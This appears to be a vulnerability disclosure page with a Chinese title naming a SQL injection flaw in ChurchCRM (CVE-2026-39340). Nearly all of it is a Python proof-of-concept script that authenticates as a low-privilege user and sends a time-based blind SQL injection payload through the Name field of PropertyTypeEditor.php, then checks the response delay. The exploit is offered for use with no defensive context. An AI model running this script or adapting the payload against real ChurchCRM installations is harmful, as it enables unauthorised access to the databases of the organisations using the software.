ChurchCRM SQL注入漏洞CVE-2026-39340

import requests # Target configuration target_url = "http://target-churchcrm.com/PropertyTypeEditor.php" session = requests.Session() # 1. Authenticate as a user with 'MenuOptions' role login_data = { "User": "attacker", "Password": "password123" } session.post("http://target-churchcrm.com/login", data=login_data) # 2. Exploit SQL Injection via PropertyTypeEditor (Update/Insert) # The vulnerability is in the 'Name' or 'Description' fields. # Payload for Time-Based Blind SQL Injection sqli_payload = "test' OR (SELECT SLEEP(5))-- -" post_data = { "TypeID": "1", # ID for UPDATE, or empty for INSERT "Name": sqli_payload, "Description": "Exfiltration attempt" } response = session.post(target_url, data=post_data) # 3. Verify based on response time if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: Database delayed response.") else: print("[-] Vulnerability not detected or payload failed.")